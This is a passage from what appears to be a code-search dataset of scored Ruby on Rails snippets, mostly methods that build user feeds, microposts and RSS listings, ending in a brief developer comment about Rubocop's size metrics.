Feed.find(params[:id])\n end", "title": "" }, { "docid": "52e8b1462c3354ff59d3876a705586f7", "score": "0.58686364", "text": "def index\n if session[:user_id]\n redirect_to home_feeds_url\n end\n end", "title": "" }, { "docid": "b85c6be17fb7a2ab53ea62e5c724d552", "score": "0.58631015", "text": "def set_news_feed\n @news_feed = NewsFeed.find(params[:id])\n end", "title": "" }, { "docid": "a88f948e41e80818ea34c3090f76610f", "score": "0.585232", "text": "def feed\n\t\t\tpost = { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml = nessus_request('feed', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tfeed = docxml.root.elements['contents'].elements['feed'].text\n\t\t\tversion = docxml.root.elements['contents'].elements['server_version'].text\n\t\t\tweb_version = docxml.root.elements['contents'].elements['web_server_version'].text\n\t\t\treturn feed, version, web_version\n\t\tend", "title": "" }, { "docid": "bf0f727facddc02b5598e55688f4ad6a", "score": "0.5840728", "text": "def feed\n # defer to Micropost.from_users_followed_by\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f3fbbe64b037c91822d5f1cd168d9a1d", "score": "0.5834242", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f3fbbe64b037c91822d5f1cd168d9a1d", "score": "0.5834242", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f3fbbe64b037c91822d5f1cd168d9a1d", "score": "0.5834242", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f3fbbe64b037c91822d5f1cd168d9a1d", "score": "0.5834242", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f3fbbe64b037c91822d5f1cd168d9a1d", "score": "0.5834242", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f3fbbe64b037c91822d5f1cd168d9a1d", "score": "0.5834242", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f3fbbe64b037c91822d5f1cd168d9a1d", "score": "0.5834242", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f3fbbe64b037c91822d5f1cd168d9a1d", "score": "0.5834242", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "e0c43769723b95cd41d57ce59eb2fbd7", "score": "0.58261013", "text": "def feed\n FeedItem.from_users_followed_by(self)\n end", "title": "" }, { "docid": "990988f6856cd279b1516396f3dc23e0", "score": "0.5825216", "text": "def feed\n\t\t\tpart_of_feed = \"relationships.follower_id = :id or microposts.user_id = :id\"\n\t\t\tMicropost.joins(user: :followers).where(part_of_feed, { id: id })\n\t\tend", "title": "" }, { "docid": "c60c588781e36e46dd3048fae3d3328e", "score": "0.58245987", "text": "def show\n @feed = Feed.find(params[:id])\n @related_feeds = @feed.list_related_feeds(current_user)\n @feed_entries = Entry.where(feed_id: @feed.id).order(\"updated_at DESC\").page(params[:page]).per(10)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "title": "" }, { "docid": "6a9dabd50644264ed59542af1a885b84", "score": "0.5814751", "text": "def get_userposts( user )\n posts = []\n url = \"http://feeds.delicious.com/rss/#{user}\"\n\n response = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(response)\n\n doc.elements.each(\"//item\") do |item|\n posts << { \"href\" => item.elements[\"link\"].text }\n end\n\n sleep 1\n return posts\n end", "title": "" }, { "docid": "4d2657f3ed6b21319dee84a6f5396459", "score": "0.58141416", "text": "def getUserProfileFeed(userID, lastDocumentID, lastEventID)\n request('getUserProfileFeed', {'userID' => userID, 'lastDocumentID' => lastDocumentID, 'lastEventID' => lastEventID})\n end", "title": "" }, { "docid": "faf459ed3442a6eeff555a89544c1e11", "score": "0.5803121", "text": "def retrieve_feed\n uri = URI.parse(@feed_url)\n Net::HTTP.get_response(uri).body\n end", "title": "" }, { "docid": "2585d2c4abb4e9cdc73b99db45219ac8", "score": "0.5788358", "text": "def set_newsfeed\n @newsfeed = Newsfeed.find(params[:id])\n end", "title": "" }, { "docid": "fbced0cc3407d69c1e0136bda34ed79e", "score": "0.57857966", "text": "def feed\n Survey.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "00c4bc8999e49c500af7da9add89ea5d", "score": "0.5784085", "text": "def news\n do_scrape\n @posts = UbuEntry.all(:order => \"id DESC\", :limit => 400)\n render :layout => false, :content_type => Mime::RSS\n end", "title": "" }, { "docid": "e9f468ded78a3afb05c009f31f85bdd7", "score": "0.5779977", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "e9f468ded78a3afb05c009f31f85bdd7", "score": "0.5779977", "text": "def feed\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "bc90123d2419b0d00de9a598b75184cb", "score": "0.57503116", "text": "def index\n if params[:user_id]\n @user = User.find(params[:user_id])\n @posts = @user.posts\n render :layout => \"user\"\n else\n @posts = current_user.stream_posts\n render :layout => \"home\"\n end\n end", "title": "" }, { "docid": "fbd8e83fa2e48bd5264757693a09b184", "score": "0.5745377", "text": "def newsfeed\n Post.newsfeed_for(self)\n end", "title": "" }, { "docid": "45eb66905520013d76a018ca8bda9eed", "score": "0.5739142", "text": "def show\n @user = User.find(params[:id])\n @user_sweets = @user.sweets\n # binding.pry\n # TODO: implement user sweets\n end", "title": "" }, { "docid": "4066eed3ae67d1be9727f936a1d23ac0", "score": "0.5702119", "text": "def feed\n\t\tMicropost.where(\"user_id IN (?) OR user_id = ?\", following_ids, id)\n \n\tend", "title": "" }, { "docid": "7f9d965b447e36493bd226596835e85c", "score": "0.5694124", "text": "def feed\n\t\tfollowing_ids = \"SELECT followed_id FROM relationships WHERE follower_id = :user_id\"\n\t\tMicropost.where(\"user_id IN (#{following_ids}) OR user_id = :user_id\", user_id: id)\n\tend", "title": "" }, { "docid": "9056beb96827f9954d273a40dd16f81c", "score": "0.5690835", "text": "def feed\n Micropost.where(\"user_id = ?\", id) # id u ovom context isto sto i self.id\n # isto sto i: microposts (isto sto i self.microposts)\n end", "title": "" }, { "docid": "7c4afee286773464b7ec5040a268889a", "score": "0.5675441", "text": "def profile_feeds(is_current_user = false)\n res = @user.contents.includes(:hash_tags, :owner, :user).ignore_daily_devotions\n unless is_current_user\n @user.user_anonymities.pluck(:start_time, :end_time).each do |range|\n res = res.where.not(created_at: range.first..(range.last || Time.current))\n end\n end\n res.order(created_at: :desc).page(@page).per(@per_page)\n end", "title": "" }, { "docid": "a75be394d60ddaf861a13b59924865ba", "score": "0.5667874", "text": "def show\n @user = User.find(current_user.id)\n#redirect_to \"newsfeeds/index\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "db62086c25037670665eddf8ac777a54", "score": "0.5657586", "text": "def news_feed\n begin\n client = Feedlr::Client.new(oauth_access_token: ENV['FEEDLY_OAUTH_ACCESS_TOKEN'])\n @latest_list = {}\n client.user_unread_counts.unreadcounts.each do |unread_articles|\n next if unread_articles['count'] == 0\n unread_article_items = client.stream_entries_contents(unread_articles.id, unreadOnly: true).items\n next if unread_article_items.empty?\n\n unread_article_items.each do |article|\n @latest_list[article.alternate[0].href] = \"◼︎ <a href='#{article.alternate[0].href}'>#{article.title} - #{article.origin.title}</a>\"\n end\n client.mark_article_as_read(unread_articles.id)\n end\n @latest_news = @latest_list.values.join(\"<br>\")\n rescue => evar\n fail evar\n end\n @latest_news\n end", "title": "" }, { "docid": "f5205a9ac9c5e335d02874784dbc0060", "score": "0.5653637", "text": "def feed\n Post.from_users_followed_by(self)\n end", "title": "" }, { "docid": "f5205a9ac9c5e335d02874784dbc0060", "score": "0.5653637", "text": "def feed\n Post.from_users_followed_by(self)\n end", "title": "" }, { "docid": "c5f8eb608efc9d65fc060e5349f8413c", "score": "0.56524575", "text": "def feed\n @posts = Post.feed_of(params[:id])\n end", "title": "" }, { "docid": "e109d71127389be2bf628f3ac541dd54", "score": "0.56494725", "text": "def show\n @rss_feed = RssFeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rss_feed }\n end\n end", "title": "" }, { "docid": "0b3064f989c6e0b5f28cf54345cde823", "score": "0.563833", "text": "def feed\n\t\t#pulls all microposts from all the following ids..inefficient\n\t\t#Micropost.where(\"user_id IN (?) OR user_id = ?\", following_ids, id)\n\t\tfollowing_ids = \"SELECT followed_id FROM relationships where follower_id = :user_id\"\n\t\tMicropost.where(\"user_id IN (#{ following_ids}) OR user_id = :user_id\", following_ids: following_ids, user_id: id)\n\tend", "title": "" }, { "docid": "4362e3933c8676812eac0ad256371efa", "score": "0.56369495", "text": "def get_feed\n begin\n new_tumblr = Tumblr::User.new(self.email, self.password) #Authentication\n blog = new_tumblr.tumblr[\"tumblelog\"][\"name\"] #Get blog name through hashes\n Tumblr.blog = blog # set blog name\n stories = Array.new # create stories array to be returned\n posts = Tumblr::Post.all #Get user posts\n posts.each do |post| #loop and convert to story type\n s = TumblrAccount.convert_blog_to_story(post)\n if(!(s.content == \"\"))\n stories.push(s) #adds element to list\n end\n end\n stories #returned\n rescue\n raise\n return []\n end\n end", "title": "" }, { "docid": "a95133c21537a11ed75b1c549dae0a90", "score": "0.56222177", "text": "def profile\n @feeds = Feed.all\n @feed = Feed.new\n end", "title": "" }, { "docid": "f11612c4fab0daa12e89082f1f177247", "score": "0.5615965", "text": "def feed\n\t\t# Using a sub-select is more efficient. The entire query is performed in the database.\n\t\tfollowing_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n \tMicropost.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n\tend", "title": "" }, { "docid": "d07cd0fbebbd921ddd52029279f82419", "score": "0.5615278", "text": "def show\n @entries = @feed.entries.for_user(current_user.id, @@per_page).paginate(page: params[:page], per_page: @@per_page).set_read_attribute\n @unread_entries_count = @feed.entries.for_user(current_user.id,nil).where(reads: {read: false}).count\n end", "title": "" }, { "docid": "b3adde7bc3b5899eb5d47d3dee5b5615", "score": "0.5610058", "text": "def show\n @post = current_user.posts.build\n @user = User.find(params[:id])\n if current_user == @user\n @posts = current_user.feed.paginate(page: params[:page]) \n else\n @posts = @user.posts.paginate(page: params[:page])\n end\n end", "title": "" }, { "docid": "d15093841e9e918899b3db57bdb05ed8", "score": "0.5605691", "text": "def feed\n Answer.where(\"user_id = ?\", id)\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "31432711a4d6e27bc78f04a74813c1a7", "score": "0.0", "text": "def set_parking_detail\n @parking_detail = ParkingDetail.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
af6fac4e36f90fd75344fd7da935dea0
Rubocop is complaining about 19.31/18 for Metrics/AbcSize. But, getting that metric in line would force us over the module size limit! We can't win here unless we want to start abstracting things into a million pieces.
